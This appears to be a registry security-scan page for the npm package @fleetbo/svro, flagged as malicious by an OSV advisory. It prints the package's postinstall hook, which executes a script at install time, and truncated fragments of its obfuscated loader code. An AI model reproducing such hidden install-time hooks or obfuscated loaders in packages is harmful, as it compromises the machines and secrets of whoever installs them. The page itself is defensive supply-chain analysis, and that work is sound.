registry / @fleetbo/svro / 0.0.39

@fleetbo/svro@0.0.39

AI Security Review

scanned 2h ago · by lpm-firewall-ai

npm installation runs an obfuscated setup script that alters the consumer project. It creates or patches Fleetbo/Vite/TypeScript configuration.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install @fleetbo/svro

Impact

Unexpected modification of project files and dependency/configuration state.

Mechanism

postinstall project-configuration mutation

Rationale

This is an opaque, install-time project mutator, so it warrants a warning. The inspected source does not demonstrate the concrete malicious chain required for a publish block.

Evidence

package.jsondist/postinstall.cjsREADME.mdsvro.schema.jsontsconfig.jsonjsconfig.jsonvite.config.*src/auto-imports.d.ts.env

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14586

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @fleetbo/svro (npm)

Details

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY

Decision evidence

public snapshot

AI called this Suspicious at 88.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for block

Install invokes an obfuscated postinstall program.
Postinstall includes filesystem and project-configuration setup.
The documented installer writes project configuration and credentials.

Evidence against

No source evidence of sensitive-directory harvesting or foreign AI-agent control writes.
Authentication/network activity is described as Fleetbo setup, not hidden exfiltration.

Behavioral surface

Source

DynamicRequireEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsMinifiedObfuscated

Manifest

NoLicense

scanned 3 file(s), 460 KB of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/postinstall.cjsView file

1#!/usr/bin/env node L2: const _0x33847c=_0x1d33;(function(_0x5a1a04,_0x26057e){const _0xe0ecdb=_0x1d33,_0x4b48ab=_0x5a1a04();while(!![]){try{const _0xe4159e=-parseInt(_0xe0ecdb(0xc9))/0x1+parseInt(_0xe0ec...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/postinstall.cjsView on unpkg · L1

dist/index.jsView file

1const _0x48eb8b=_0x5726;(function(_0x59119c,_0x9ea08e){const _0xf69568=_0x5726,_0x3acfb7=_0x59119c();while(!![]){try{const _0x35dcb2=parseInt(_0xf69568(0xaac))/0x1*(-parseInt(_0xf6... L2:

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L1

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/postinstall.cjsView file

Medium

Findings

1 Critical3 High4 Medium5 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighObfuscated Payload Loaderdist/index.js

HighObfuscated

MediumDynamic Requiredist/postinstall.cjs

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowNo License